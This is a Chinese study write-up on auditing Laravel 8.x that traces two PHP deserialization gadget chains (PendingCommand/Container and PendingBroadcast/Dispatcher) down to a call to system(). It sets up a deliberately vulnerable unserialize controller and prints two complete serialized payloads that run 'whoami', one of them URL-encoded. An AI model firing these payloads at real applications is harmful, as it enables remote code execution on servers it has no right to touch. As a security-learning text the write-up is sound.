前言
学习第三种框架,多接触吧()
主要是体会代审的感觉
不花太多时间,毕竟实际php应用太少了
本次在末尾引入一个工具吧
Laravel v8.x
配置
本地配一下服务,拿到源码之后进行
1 | composer require --dev barryvdh/laravel-ide-helper:^2.12 --with-all-dependencies |
配置一个反序列化的入口
1 | php artisan make:controller UnserializeController |
链子一:分析
链子
1 | Illuminate\Testing\PendingCommand->__destruct() |
看入口类PendingCommand
1 | public function __destruct() |
跟进
跟进Container#make()
1 | public function make($abstract, array $parameters = []) |
跟进最后的resolve()
这里存在关键的RCE点
1 | $object = $extender($object, $this); |
只要我们能够控制$extender
和$object
,就可以执行任意代码
逆着走
1 | $extender->$abstract |
控制$extender
跟进
1 | foreach ($this->getExtenders($abstract) as $extender) |
发现
1 | protected function getExtenders($abstract) |
$this->extenders
可以控制
我们跟进$this->getAlias
方法
1 | public function getAlias($abstract) |
这里实现递归调用别名
这里追溯一下abstract这个值,理论上我们合理控制它,就可以控制$extender
了
1 | public function make($abstract, array $parameters = []) |
在PendingCommand#run
1 | $exitCode = $this->app->make(Kernel::class)->call($this->command, $this->parameters, $mock); |
如何进入run?当前类存在__destruct
满足
1 | if ($this->hasExecuted) { |
即可
而在run这里,可以控制app
进入我们的关键类,但是这里参数是Kernel::class
如何处理它呢?
别忘了我们说abstruct有一个别名处理
只要我们自己控制
控制之后经过递归我们控制了abstruct的值,这里这样赋值,而$this->extenders=["4ny0ne"=>"system"]
控制了extender的值,$extender=system
那么另外一个值呢?
控制$object
1 | if ($this->isBuildable($concrete, $abstract)) { |
我们跟进更为熟悉的make方法,又进入了resolve方法
找到一处return
1 | $needsContextualBuild = ! empty($parameters) || ! is_null($concrete); |
这里主要看$this->getConcrete
1 | protected function getConcrete($abstract) |
这里我们可以控制$this->bindings
,而$abstract
是我们第一次进来传入的值,已知,这样就可以控制$concrete
,而控制住$object
,就可以执行任意代码了
当然这里有一个判断
1 | protected function isBuildable($concrete, $abstract) |
这里使用工具进行生成payload
1 | php anyserial.php laravel 8.x whoami -e url |
得到(并未url编码这里)
1 | O:33:"Illuminate\Testing\PendingCommand":4:{s:4:"test";O:25:"Tests\Feature\ExampleTest":1:{s:14:"expectedOutput";a:1:{s:6:"4ut15m";s:11:"is handsome";}}s:6:"\*\app";O:30:"Illuminate\Container\Container":4:{s:11:"\*\bindings";a:1:{s:6:"4ny0ne";a:1:{s:8:"concrete";s:6:"4ut15m";}}s:12:"\*\instances";a:1:{s:6:"4ut15m";s:6:"whoami";}s:10:"\*\aliases";a:1:{s:35:"Illuminate\Contracts\Console\Kernel";s:6:"4ny0ne";}s:12:"\*\extenders";a:1:{s:6:"4ny0ne";a:1:{i:0;s:6:"system";}}}s:13:"\*\parameters";a:0:{}s:14:"\*\hasExecuted";b:0;} |
链子二:分析
链子比较多,多多益善,多看几个
老规矩,全局搜索找入口vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
1 | public function __destruct() |
找一找有无调用了dispatch方法
进入Dispatcher.php
1 | public function dispatch($command) |
跟进$this->dispatchToQueue
1 | dispatchToQueue($command) |
选择了BroadcastEvent ,有几处比较耐人寻味,直接看exp吧
最后exp是
1 |
|
工具生成的payload
1 | O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7D%7D |
总结
这个框架还有个v5.8的链子,不过就到此为止吧